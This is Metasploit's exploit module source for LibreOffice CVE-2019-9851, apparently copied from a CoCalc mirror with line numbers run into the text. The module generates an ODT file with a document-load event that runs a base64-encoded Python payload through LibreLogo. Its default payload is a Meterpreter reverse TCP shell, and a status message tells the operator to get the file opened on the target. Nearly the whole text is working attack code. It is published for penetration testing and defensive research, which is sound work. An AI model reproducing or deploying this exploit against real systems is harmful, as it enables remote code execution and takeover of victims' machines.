Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/fileformat/libreoffice_logo_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(update_info(info,12'Name' => 'LibreOffice Macro Python Code Execution',13'Description' => %q{14LibreOffice comes bundled with sample macros written in Python and15allows the ability to bind program events to them.1617LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.1819This module generates an ODT file with a dom loaded event that,20when triggered, will execute arbitrary python code and the metasploit payload.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Nils Emmerich', # Vulnerability discovery and PoC26'Shelby Pace', # Base module author (CVE-2018-16858), module reviewer and platform-independent code27'LoadLow', # This msf module28'Gabriel Masei' # Global events vuln. disclosure29],30'References' =>31[32[ 'CVE', '2019-9851' ],33[ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ],34[ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ],35[ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]36],37'DisclosureDate' => '2019-07-16',38'Platform' => 'python',39'Arch' => ARCH_PYTHON,40'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp' },41'Targets' => [ ['Automatic', {}] ],42'DefaultTarget' => 043))4445register_options(46[47OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),48OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),49])50end5152def gen_file53text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])54py_code = Rex::Text.encode_base64(payload.encoded)55@cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"56@cmd = Rex::Text.html_encode(@cmd)5758fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))59libre_file = ERB.new(fodt_file).result(binding())6061print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")6263libre_file64rescue Errno::ENOENT65fail_with(Failure::NotFound, 'Cannot find template file')66end6768def exploit69fodt_file = gen_file7071file_create(fodt_file)72end73end747576